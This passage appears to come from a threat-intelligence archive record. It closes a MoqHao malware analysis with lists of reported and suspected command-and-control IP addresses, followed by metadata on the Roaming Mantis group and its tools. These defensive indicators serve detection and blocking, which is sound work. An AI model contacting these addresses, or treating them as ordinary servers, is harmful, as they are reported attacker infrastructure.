!\r\nIOCs\r\nC2 IP address/port :\r\n107.148.160.222:28867\r\n134.119.218.100:28843\r\n151.106.31.51:29870\r\n27.255.75.200:28856\r\n27.255.75.201:38866\r\n61.97.243.111:28999\r\nPotential C2 IP based on hunting :\r\n128.14.75.141\r\n107.148.160.215\r\n107.148.160.224\r\n107.148.160.227\r\n107.148.160.251\r\n107.148.160.37\r\n107.148.160.68\r\n107.148.164.3\r\n107.148.164.6\r\n128.14.75.47\r\n134.119.218.98\r\n134.119.218.99\r\n151.106.31.50\r\n151.106.31.52\r\n151.106.31.53\r\n151.106.31.54\r\n103.249.28.194\r\n103.249.28.205\r\n103.249.28.211\r\n103.249.28.212\r\n103.249.28.213\r\n103.249.28.214\r\n27.255.75.199\r\n27.255.75.202\r\n61.97.243.112\r\n61.97.243.113\r\n61.97.248.14\r\n61.97.248.15\r\n61.97.248.16\r\n103.212.222.140\r\n103.212.222.141\r\n103.212.222.142\r\n103.212.222.143\r\n103.212.222.144\r\n103.212.222.145\r\n103.249.28.207\r\n103.249.28.208\r\n103.249.28.209\r\n103.249.28.210\r\n61.97.248.6\r\n61.97.248.8\r\n45.114.129.48\r\n45.114.129.49\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 15 of 16\n\n45.114.129.50\r\n45.114.129.52\r\nSource: https://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.xanhacks.xyz/p/moqhao-malware-analysis"
	],
	"report_names": [
		"moqhao-malware-analysis"
	],
	"threat_actors": [
		{
			"id": "c94cb0e9-6fa9-47e9-a286-c9c9c9b23f4a",
			"created_at": "2023-01-06T13:46:38.823793Z",
			"updated_at": "2026-04-10T02:00:03.113045Z",
			"deleted_at": null,
			"main_name": "Roaming Mantis",
			"aliases": [
				"Roaming Mantis Group"
			],
			"source_name": "MISPGALAXY:Roaming Mantis",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "f9bc28d0-ce98-4991-84ae-5036e5f9d4e3",
			"created_at": "2022-10-25T16:07:24.546437Z",
			"updated_at": "2026-04-10T02:00:05.029564Z",
			"deleted_at": null,
			"main_name": "Roaming Mantis",
			"aliases": [
				"Roaming Mantis Group",
				"Shaoye"
			],
			"source_name": "ETDA:Roaming Mantis",
			"tools": [
				"MoqHao",
				"Roaming Mantis",
				"SmsSpy",
				"Wroba",
				"XLoader"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775439079,
	"ts_updated_at": 1775792099,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/99398564d6073d6ccf78ddd478199f77cc72a71b.pdf",
		"text": "https://archive.orkl.eu/99398564d6073d6ccf78ddd478199f77cc72a71b.txt",
		"img": "https://archive.orkl.eu/99398564d6073d6ccf78ddd478199f77cc72a71b.jpg"
	}
}